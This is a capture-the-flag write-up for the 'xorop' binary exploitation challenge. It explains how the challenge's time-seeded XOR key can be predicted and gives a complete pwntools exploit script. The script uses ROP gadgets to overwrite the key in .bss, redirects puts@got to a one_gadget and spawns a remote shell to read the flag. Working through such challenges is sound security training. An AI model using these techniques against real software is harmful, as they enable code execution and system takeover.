Hi,we get first blood on this one, so a little write up follows...
the key is generated with a dumb algorithm (srand(time(0)) and some xor..it depends on time so..the server and the attacker must have the same date to generate the good key
this key is added to libc addresses on .bss (got) to make them unusable...
the idea, is to calculate the negative key + the offset from puts address in libc to a onegadgetthen we return back to the function which encode the libc addresses to cancel the libc addresses modifications on .bssthen we just call puts, which will contain the onegadget address by now
the key was stored at address 0x600c38 on .bss,we modify it with a xor gadget (gadget3)
it takes 2 o 3 tries to work sometimes...no more..
stdin is closed by the program, and will need to be redirected to fd number 3, that's why we do "/bin/sh 1>&3" first,to see the output of commands
brought to you, by nobodyisnobody , pwner for **RootMeUpBeforeYouGoGo**
```#! /usr/bin/env python# -*- coding: utf-8 -*-# vim:fenc=utf-8#from pwn import *from ctypes import CDLLfrom math import *
libc = CDLL("libc.so.6")
context.log_level = 'info'
#settingdo_remote = 1remote_host = 'chals.damctf.xyz'remote_port = 31228challenge_exe = "./xorop"
context(arch = 'amd64', os = 'linux', endian="little")
puts_plt = 0x000000000400620
gadget3 = 0x400708	# xor    QWORD PTR [rdi],rsi / add    rdi,0x8 / cmp    rdx,rdi / ja     400708 / retgadget4 = 0x000000000040088f  # pop rdi ; retgadget5 = 0x000000000040088d  # pop rsi ; pop r15 ; retgadget6 = 0x400890		# ret
# get timenow = int(floor(time.time()))
if do_remote == 1:  p = connect(remote_host, remote_port)else:  p = process(challenge_exe, env={'LD_PRELOAD':'./libc.so.6'})
p.sendafter('continue.\n', '\x00')
# initialize with srand(time(0))libc.srand(now)info('now = '+str(now))
key = libc.rand()if (key & 0x80000000):  key = (0xffffffff80000000 | (key & 0x7fffffff))nrand = libc.rand()if (nrand & 0x80000000):   nrand = (0xffffffff80000000 | (nrand & 0x7fffffff) )key = key ^ (nrand<<21)key = (key ^ (libc.rand()<<42))&0xffffffffffffffff
# negate the key + offset of onegadgetnegkey = (0 - (key + 0x316cb ))&0xffffffffffffffff      # 0x4f365 execve("/bin/sh", rsp+0x40, environ)info('my key = '+hex(key)+'  (negkey = '+hex(negkey)+')')
# we use xor gadget to change the key to it's negative + offset of (onegadget - puts) in libcpayload = p64(gadget4) + p64(0x600c38)payload += p64(gadget5) + p64(key ^ negkey) + p64(0)payload += p64(gadget3)# we return to the program that encode the libc addresses in .bss, but this time it will decode them with the negative keypayload += p64(0x4007d4)payload += p64(0)*9# we add a gadget to align the stackpayload += p64(gadget6)# then we jump to the one_gadget (which is in puts@got now)payload += p64(puts_plt)
p.sendlineafter('memfrob?\n', p64(0) + p64(0xdeadbeef)*7 + p64(negkey & 0xffffffff) + payload)p.readuntil('4 u.\n')
p.sendline('/bin/sh 1>&3')info('Ok Take your flag dude...')p.sendline('cat flag')
p.interactive()
```